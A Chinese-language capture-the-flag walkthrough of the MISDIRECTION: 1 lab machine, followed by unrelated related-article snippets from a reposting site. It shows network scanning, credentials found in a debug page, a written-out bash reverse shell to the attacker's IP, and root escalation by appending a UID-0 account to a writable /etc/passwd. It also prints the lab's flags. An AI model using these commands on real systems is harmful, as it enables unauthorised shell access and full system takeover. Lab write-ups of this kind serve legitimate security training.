红队打靶练习:MISDIRECTION: 1

信息收集

1、arp
┌──(root㉿ru)-[~/kali]
└─# arp-scan -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:69:c7:bf, IPv4: 192.168.12.128
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.12.1    00:50:56:c0:00:08       VMware, Inc.
192.168.12.2    00:50:56:ec:d1:ca       VMware, Inc.
192.168.12.147  00:50:56:2b:59:b0       VMware, Inc.
192.168.12.254  00:50:56:e0:37:90       VMware, Inc.5 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 2.346 seconds (109.12 hosts/sec). 4 responded

2、netdiscover
netdiscover -r 192.168.12.0/24Currently scanning: Finished!   |   Screen View: Unique Hosts7 Captured ARP Req/Rep packets, from 4 hosts.   Total size: 420_____________________________________________________________________________IP            At MAC Address     Count     Len  MAC Vendor / Hostname-----------------------------------------------------------------------------192.168.12.1    00:50:56:c0:00:08      4     240  VMware, Inc.192.168.12.2    00:50:56:ec:d1:ca      1      60  VMware, Inc.192.168.12.147  00:50:56:2b:59:b0      1      60  VMware, Inc.192.168.12.254  00:50:56:e0:37:90      1      60  VMware, Inc.

3、nmap
端口探测┌──(root㉿ru)-[~/kali]
└─# nmap -p- 192.168.12.147 --min-rate 10000 -oA port
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-28 17:11 CST
Nmap scan report for 192.168.12.147
Host is up (0.0012s latency).
Not shown: 65531 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
3306/tcp open  mysql
8080/tcp open  http-proxy
MAC Address: 00:50:56:36:4D:9A (VMware)Nmap done: 1 IP address (1 host up) scanned in 7.18 seconds┌──(root㉿ru)-[~/kali]
└─# cat port.nmap | head -n 9 | tail -n 4 | awk '{print $1}' | awk -F "/" '{print $1}' | xargs -n 4 | sed 's/ /,/g'
22,80,3306,8080

信息探测┌──(root㉿ru)-[~/kali]
└─# nmap -sVC -O -p 22,80,3306,8080 192.168.12.147 --min-rate 10000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-28 17:15 CST
Nmap scan report for 192.168.12.147
Host is up (0.00024s latency).PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 ec:bb:44:ee:f3:33:af:9f:a5:ce:b5:77:61:45:e4:36 (RSA)
|   256 67:7b:cb:4e:95:1b:78:08:8d:2a:b1:47:04:8d:62:87 (ECDSA)
|_  256 59:04:1d:25:11:6d:89:a3:6c:6d:e4:e3:d2:3c:da:7d (ED25519)
80/tcp   open  http    Rocket httpd 1.2.6 (Python 2.7.15rc1)
|_http-server-header: Rocket 1.2.6 Python/2.7.15rc1
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
3306/tcp open  mysql   MySQL (unauthorized)
8080/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Apache2 Ubuntu Default Page: It works
MAC Address: 00:50:56:36:4D:9A (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernelOS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.85 seconds

4、whatweb
┌──(root㉿ru)-[~/kali]
└─# whatweb http://192.168.12.147
http://192.168.12.147 [200 OK] Cookies[session_id_init], Country[RESERVED][ZZ], HTTPServer[Rocket 1.2.6 Python/2.7.15rc1], HttpOnly[session_id_init], IP[192.168.12.147], JQuery, Meta-Author[Massimo Di pierro], Python[2.7.15rc1], Script[text/javascript], Web2py[web2py], X-Powered-By[web2py], X-UA-Compatible[IE=edge]

5、nikto
┌──(root㉿ru)-[~/kali]
└─# nikto -h 192.168.12.147
- Nikto v2.5.0
---------------------------------------------------------------------------
+ Target IP:          192.168.12.147
+ Target Hostname:    192.168.12.147
+ Target Port:        80
+ Start Time:         2023-12-28 17:18:58 (GMT8)
---------------------------------------------------------------------------
+ Server: Rocket 1.2.6 Python/2.7.15rc1
+ /: RFC-1918  IP address found in the 'session_id_init' cookie. The IP is "192.168.12.128".
+ /: Retrieved x-powered-by header: web2py.
+ RFC-1918 /: IP address found in the 'set-cookie' header. The IP is "192.168.12.128". See: https://portswigger.net/kb/issues/00600300_private-ip-addresses-disclosed
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ /jgF0uhHe.php4: Uncommon header 'web2py_error' found, with contents: invalid path.
+ : Server banner changed from 'Rocket 1.2.6 Python/2.7.15rc1' to 'Apache/2.4.29 (Ubuntu)'.
+ ERROR: Error limit (20) reached for host, giving up. Last error: opening stream: can't connect (timeout): Transport endpoint is not connected
+ Scan terminated: 20 error(s) and 7 item(s) reported on remote host
+ End Time:           2023-12-28 17:20:30 (GMT8) (92 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

80端口信息探测


经过探测,80端口没啥用

8080端口信息探测

目录探测
┌──(root㉿ru)-[~/kali]
└─# gobuster dir -u http://192.168.12.147:8080 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.12.147:8080
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 324] [--> http://192.168.12.147:8080/images/]
/help                 (Status: 301) [Size: 322] [--> http://192.168.12.147:8080/help/]
/scripts              (Status: 301) [Size: 325] [--> http://192.168.12.147:8080/scripts/]
/css                  (Status: 301) [Size: 321] [--> http://192.168.12.147:8080/css/]
/wordpress            (Status: 301) [Size: 327] [--> http://192.168.12.147:8080/wordpress/]
/development          (Status: 301) [Size: 329] [--> http://192.168.12.147:8080/development/]
/manual               (Status: 301) [Size: 324] [--> http://192.168.12.147:8080/manual/]
/js                   (Status: 301) [Size: 320] [--> http://192.168.12.147:8080/js/]
/shell                (Status: 301) [Size: 323] [--> http://192.168.12.147:8080/shell/]
/debug                (Status: 301) [Size: 323] [--> http://192.168.12.147:8080/debug/]
/server-status        (Status: 403) [Size: 281]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================

┌──(root㉿ru)-[~/kali]
└─# dirsearch -u http://192.168.12.147:8080 -e*
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.htmlfrom pkg_resources import DistributionNotFound, VersionConflict_|. _ _  _  _  _ _|_    v0.4.3(_||| _) (/_(_|| (_| )Extensions: php, jsp, asp, aspx, do, action, cgi, html, htm, js, tar.gz | HTTP method: GET | Threads: 25 | Wordlist size: 14594Output File: /root/kali/reports/http_192.168.12.147_8080/_23-12-29_11-20-50.txtTarget: http://192.168.12.147:8080/[11:20:50] Starting:
[11:20:50] 301 -  320B  - /js  ->  http://192.168.12.147:8080/js/
[11:21:04] 301 -  321B  - /css  ->  http://192.168.12.147:8080/css/
[11:21:04] 200 -    3KB - /debug/
[11:21:04] 301 -  323B  - /debug  ->  http://192.168.12.147:8080/debug/
[11:21:05] 200 -  408B  - /development/
[11:21:08] 301 -  322B  - /help  ->  http://192.168.12.147:8080/help/
[11:21:08] 200 -  407B  - /help/
[11:21:08] 301 -  324B  - /images  ->  http://192.168.12.147:8080/images/
[11:21:08] 200 -  408B  - /images/
[11:21:09] 200 -  407B  - /js/
[11:21:11] 301 -  324B  - /manual  ->  http://192.168.12.147:8080/manual/
[11:21:18] 200 -  407B  - /scripts/
[11:21:18] 301 -  325B  - /scripts  ->  http://192.168.12.147:8080/scripts/
[11:21:18] 301 -  323B  - /shell  ->  http://192.168.12.147:8080/shell/
[11:21:18] 200 -  408B  - /shell/
[11:21:26] 200 -    4KB - /wordpress/
[11:21:26] 200 -    1KB - /wordpress/wp-login.phpTask Completed

web探测


在8080端口的debug目录下找到关键线索!



在网站目录下找到了wordpress的登陆账号和密码!

blog  :  abcdefghijklmnopqrstuv

反弹shell



直接反弹shellpayload/bin/bash -c 'bash -i >&/dev/tcp/192.168.12.128/5656 0>&1'

提权

系统信息收集
www-data@misdirection:/home/brexit$ sudo -l
sudo -l
Matching Defaults entries for www-data on localhost:env_reset, mail_badpass,secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUser www-data may run the following commands on localhost:(brexit) NOPASSWD: /bin/bash
www-data@misdirection:/home/brexit$ sudo -u brexit /bin/bash
sudo -u brexit /bin/bash
id
uid=1000(brexit) gid=1000(brexit) groups=1000(brexit),24(cdrom),30(dip),46(plugdev),108(lxd)
ls
start-vote.sh
user.txt
web2py
cat user.txt
404b9193154be7fbbc56d7534cb26339

发现sudo -l 可以进行提权到用户brexit ,并且找到了第一个flag!

brexit@misdirection:~$ ls -al
ls -al
total 60
drwxr-xr-x  6 brexit brexit 4096 Jun  1  2019 .
drwxr-xr-x  3 root   root   4096 Jun  1  2019 ..
-rw-------  1 brexit brexit    0 Jun  1  2019 .bash_history
-rw-r--r--  1 brexit brexit  220 Apr  4  2018 .bash_logout
-rw-r--r--  1 brexit brexit 3771 Apr  4  2018 .bashrc
drwx------  3 brexit brexit 4096 Jun  1  2019 .cache
drwx------  3 brexit brexit 4096 Jun  1  2019 .gnupg
drwxrwxr-x  3 brexit brexit 4096 Jun  1  2019 .local
-rw-r--r--  1 brexit brexit  807 Apr  4  2018 .profile
-rw-rw-r--  1 brexit brexit   66 Jun  1  2019 .selected_editor
-rw-------  1 brexit brexit 9346 Jun  1  2019 .viminfo
-rwxrwxr-x  1 brexit brexit   90 Jun  1  2019 start-vote.sh
-r--r-----  1 brexit brexit   33 Jun  1  2019 user.txt
drwxrwxr-x 16 brexit brexit 4096 Dec 28 09:11 web2py
brexit@misdirection:~$

brexit@misdirection:~$ ls -al /etc/passwd /etc/shadow
ls -al /etc/passwd /etc/shadow
-rwxrwxr-- 1 root brexit 1617 Jun  1  2019 /etc/passwd
-rw-r----- 1 root shadow 1053 Jun  1  2019 /etc/shadow从/etc/passwd 权限来看,我们可以直接写入一个具有root权限的账号即可提权!

本地提权
┌──(root㉿ru)-[~/kali]
└─# openssl passwd -1 -salt hack hack > hash.txt┌──(root㉿ru)-[~/kali]
└─# cat hash.txt
$1$hack$xR6zsfvpez/t8teGRRSNr.┌──(root㉿ru)-[~/kali]
└─# hack:$1$hack$xR6zsfvpez/t8teGRRSNr.:0:0:root:/root:/bin/bash

首先使用openssl生成一个账号密码!然后按照格式进行拼接!

brexit@misdirection:~$ echo 'hack:$1$hack$xR6zsfvpez/t8teGRRSNr.:0:0:root:/root:/bin/bash' >> /etc/passwd
<8teGRRSNr.:0:0:root:/root:/bin/bash' >> /etc/passwd
brexit@misdirection:~$ su hack
su hack
Password: hackroot@misdirection:/home/brexit# whoami
whoami
root
root@misdirection:/home/brexit#

get root and flag
root@misdirection:/home/brexit# cd /root
cd /root
root@misdirection:~# ls
ls
root.txt
root@misdirection:~# cat root.txt
cat root.txt
0d2c6222bfdd3701e0fa12a9a9dc9c8c
root@misdirection:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/589842.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

数据结构(C)

基础知识 数据是所有能被输入计算机中&#xff0c;且能被计算机处理的符号的集合数据元素是数据的基本单位数据项是独立含义的数据最小单元数据对象是独立含义最小单位数据对象是指性质相同的数据元素的集合数据结构是带结构的数据元素的集合主要讨论数据之间的相邻关系或者邻…

Linux环境下OpenSSH升级到 OpenSSH_9.5p1(内置保姆级教程)

我最近在修复服务器的openssh漏洞的时候是服务器生产环境&#xff0c;自己在做的时候&#xff0c;就遇到的重启之后直接断掉ssh的连接&#xff0c;最后发现原因是没配置sshd_config的允许远程用户登录&#xff0c;因此&#xff0c;在此记录一下升级openssh的操作步骤&#xff0…

Rosalind 036 Matching Random Motifs

题目背景&#xff1a; 这个问题要求我们计算在一组随机生成的DNA字符串中&#xff0c;至少有一个字符串与给定的基序&#xff08;特定的DNA序列&#xff09;相匹配的概率。这些DNA字符串的随机生成受到给定的GC含量的控制&#xff0c;这是指DNA中要么是鸟嘌呤&#xff08;G&am…

算法基础之能被整除的数

能被整除的数 核心思想&#xff1a; 容斥原理 总面积 1-23-4…. 总集合元素中个数 1-23-4…. #include<iostream>#include<cstring>#include<algorithm>using namespace std;const int N 20;typedef long long LL;int p[N];int main(){int n,m;cin&…

【C++设计模式 -- 单例(Singleton)模式】

C 单例&#xff08;Singleton&#xff09;模式 单例模式什么是单例模式单例模式的特点为什么要使用单例模式单例模式的缺点 单例模式实现懒汉式&#xff08;Lazy Initialization&#xff09;方式(不安全)双重检查锁&#xff08;Double-Checked Locking&#xff09;&#xff08;…

第三百三十九回

文章目录 1. 概念介绍2. 方法与信息2.1 获取方法2.2 详细信息 3. 示例代码4. 内容总结 我们在上一章回中介绍了"蓝牙综合示例"相关的内容&#xff0c;本章回中将介绍如何获取设备信息.闲话休提&#xff0c;让我们一起Talk Flutter吧。 1. 概念介绍 我们在本章回中获…

十八、任务通知

1、前言 (1)所谓“任务通知”&#xff0c;可以反过来读"通知任务"。我们使用队列、信号量、事件组等等方法时&#xff0c;并不知道对方是谁。使用任务通知时&#xff0c;可以明确指定&#xff1a;通知哪个任务。 (2)使用队列、信号量、事件组时&#xff0c;我们都需…

2023年“中银杯”四川省职业院校技能大赛“云计算应用”赛项样题卷②

2023年“中银杯”四川省职业院校技能大赛“云计算应用”赛项&#xff08;高职组&#xff09; 样题&#xff08;第2套&#xff09; 目录 2023年“中银杯”四川省职业院校技能大赛“云计算应用”赛项&#xff08;高职组&#xff09; 样题&#xff08;第2套&#xff09; 模块…

Topics(动态路由)

Topic类型的Exchange与Direct相比&#xff0c;都是可以根据RoutingKey把消息路由到不同的队列中。只不过Topic类型Exchange可以让队列在绑定路由时可以使用通配符。 *&#xff1a;匹配不多不少刚好一个单词。 #&#xff1a;匹配一个或多个词。 举例&#xff1a; audit.#可以匹配…

2023吉利汽车大模型算法工程师面试经验

来源&#xff1a;投稿 作者&#xff1a;LSC 编辑&#xff1a;学姐 问了很多问题&#xff0c;包括实习的项目经验、各种计算机、人工智能的基础&#xff0c;时长1h30min 1.coding 给你一个整数数组 prices 和一个整数 k &#xff0c;其中 prices[i] 是某支给定的股票在第 i 天的…

解密C++中的forward<int>(a)和forward<int >(a):你真的了解它们之间的区别吗?

一文看尽C中的forward完美转发 一、前言二、深入理解forward和完美转发三、对forward<int>(a)的解析四、对forward<int &&>(a)的解析五、forward<int>(a)和forward<int &&>(a)的区别总结 一、前言 完美转发在C中具有重要性&#xff0…

Java开发一个接口提供给第三方调用

1. 环境 基于SpringBoot编写一个接口&#xff0c;提供给第三方调用。类似于我们使用阿里的语音识别功能&#xff0c;我们可以调用阿里封装好的api&#xff0c;也就是通过发送HTTP请求的方式来做语音识别。本篇文章主要记录在SpringBoot中我们是如何开发接口并让别人可以安全调…

一文掌握Java注解之@SpringBootApplication知识文集(1)

&#x1f3c6;作者简介&#xff0c;普修罗双战士&#xff0c;一直追求不断学习和成长&#xff0c;在技术的道路上持续探索和实践。 &#x1f3c6;多年互联网行业从业经验&#xff0c;历任核心研发工程师&#xff0c;项目技术负责人。 &#x1f389;欢迎 &#x1f44d;点赞✍评论…

Spring Cloud Gateway + Nacos 实现动态路由

1、maven 依赖 主要依赖 <!-- 网关 --><dependency><groupId>org.springframework.cloud</groupId><artifactId>spring-cloud-starter-gateway</artifactId></dependency>案件差不多完整主要依赖 <!--Spring boot 依赖(微服务基…

51单片机的串口驱动的代码逻辑

什么是串口通信&#xff1f; 51单片机中&#xff0c;串口通信指的是单片机和其他的机器传递数据的时候是通过一个bit一个bit的形式传输的&#xff0c;值得一提的话&#xff0c;串口通信是硬件串口。什么意思呢&#xff1f;也就是在传递比特的时候&#xff0c;不用软件来模拟比…

fanout(扇出模型)

在广播的流程下&#xff0c;消息发送的流程如下&#xff1a; 可以有多个消费者。 每个消费者有自己的queue(队列)。 每个队列都要绑定到Exchange(交换机)。 生产者发送的消息&#xff0c;只能发送到交换机&#xff0c;交换机来决定要发给哪个队列&#xff0c;生产者也无法决…

oracle物化视图

物化视图定义 视图是一个虚拟表&#xff08;也可以认为是一条语句&#xff09;&#xff0c;基于它创建时指定的查询语句返回的结果集&#xff0c;每次访问它都会导致这个查询语句被执行一次&#xff0c;为了避免每次访问都执行这个查询&#xff0c;可以将这个查询结果集存储到…

【算法题】矩阵顺时针旋转90° (js)

力扣链接&#xff1a;https://leetcode.cn/problems/rotate-matrix-lcci/description/ 本人题解&#xff1a; /*** param {number[][]} matrix* return {void} Do not return anything, modify matrix in-place instead.*/ var rotate function (matrix) {const x matrix.le…

Spring高手之路-Spring事务的传播机制(行为、特性)

目录 含义 七种事务传播机制 1.REQUIRED&#xff08;默认&#xff09; 2.REQUIRES_NEW 3.SUPPORTS 4.NOT_SUPPORTED 5.MANDATORY 6.NEVER 7.NESTED 含义 Spring事务的传播机制是指在多个事务方法相互调用时&#xff0c;如何处理这些事务的传播行为。对应七种事务传播行为…

【Git】git基础

Git 命令 git config --globle user.name ""git config --globle user.email ""git config -lgit config --globle --unset []git add []git commit -m ""]git log//当行且美观 git log --prettyoneline//以图形化和简短的方式 git log --grap…